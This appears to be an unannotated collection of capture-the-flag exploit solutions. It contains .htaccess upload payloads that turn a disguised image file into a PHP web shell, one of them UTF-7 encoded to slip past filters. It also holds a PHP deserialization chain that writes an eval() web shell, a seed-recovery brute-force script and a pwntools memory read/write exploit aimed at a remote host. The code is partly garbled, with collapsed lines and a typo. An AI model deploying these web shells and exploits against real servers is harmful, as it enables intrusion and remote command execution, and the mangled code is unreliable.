#define width 1337#define height 1337

<Files ~ "^.ht"> Require all granted Order allow,deny Allow from all</Files>

SetHandler application/x-httpd-php# <?=system($_POST[whoami]);?>

<Files ~ "^.ht"> Require all granted Order allow,deny Allow from all</Files>SetHandler application/x-httpd-php# <?=system($_POST[whoami]);?>

<Files ~ "^.ht"> Require all granted Order allow,deny Allow from all</Files>SetHandler application/x-httpd-phpphp_flag zend.multibyte 1php_value zend.script_encoding "UTF-7"# +ADw?+AD0-system(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4

#define width 1337#define height 1337<Files ~ "^.ht"> Require all granted Order allow,deny Allow from all</Files>SetHandler application/x-httpd-phpphp_flag zend.multibyte 1php_value zend.script_encoding "UTF-7"# +ADw?+AD0-system(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4

<?phperror_reporting(0);
class File_operations {    protected $filename='/var/www/html/shell.php';}
class Show_index {    public $filepage;}
class Exception_process {    public $arg;}

class Transfer  {    public $method;    private $parameter = "<?php eval($_POST[a]);";}
$poc = new Show_index();$poc->filepage = new Transfer();$poc->filepage->method = new Transfer();$poc->filepage->method->method = new File_operations();echo urlencode(serialize($poc));

 from Crypto.Util.number import * 

 flag = getPrime(32)   def init(flag):  s = [0] * 100  s[0] = flag  for i in range(1, 100):  s[i] = 0xFFFFFFFF & (1812433253 * (s[i - 1] ^ s[i - 1] >> 30) + i)  return s 
 state = init(flag)   def enc(y):  y = y ^ y >> 11  y = y ^ y << 7 & 2636928640  y = y ^ y << 15 & 4022730752  y = y ^ y >> 18  return y&0xffffffff 
 c = enc(state[-1])  print(c) 
 #1047573452 

 # -*-coding:utf-8-*- 
 from Crypto.Util.number import *  import gmpy2  import tqdm 

 def init(flag):  s = [0] * 100  s[0] = flag9 for i in range(1, 100):  s[i] = 0xFFFFFFFF & (1812433253 * (s[i - 1] ^ s[i - 1] >> 30) + i)  return s  def enc(y):  y = y ^ y >> 11  y = y ^ y << 7 & 2636928640  y = y ^ y << 15 & 4022730752  y = y ^ y >> 18 
 return y & 0xffffffff 
 range1=pow(2,31)  range2=pow(2,32)  #逆序  for i in tqdm.trange(range2,range1,-1):  #正序  #for i in tqdm.trange(range1,range2):  if gmpy2.is_prime(i):  sstate = init(i)  cc = enc(sstate[-1])  if cc == 1047573452:  print(i) 
 break 

Exp:
from pwn import *context.terminal = ['gnome-terminal', '-x', 'sh', '-c']context.log_level = 'debug'# r = process('/mnt/hgfs/ubuntu/4/arbitrary')r = remote('60.216.78.58',45721)
def menu(choice):  r.recvuntil(b"??????. Shell!")  r.sendline(str(choice))

def read(off):  menu(1)  r.sendline(str(off)) def write(off,value):  menu(2)  r.sendline(str(off)+" "+str(value)) read(14)r.recvuntil(b'Done! ')codebase = int(r.recvuntil(b'n')[:-1])read(15)r.recvuntil(b'Done! ')
codebase2 = int(r.recvuntil(b'n')[:-1])codebase = codebase2*0x100000000+codebase-0xb17write(-0x2,(codebase+0xa46)&0xffffffff)print(hex(codebase))
r.interactive()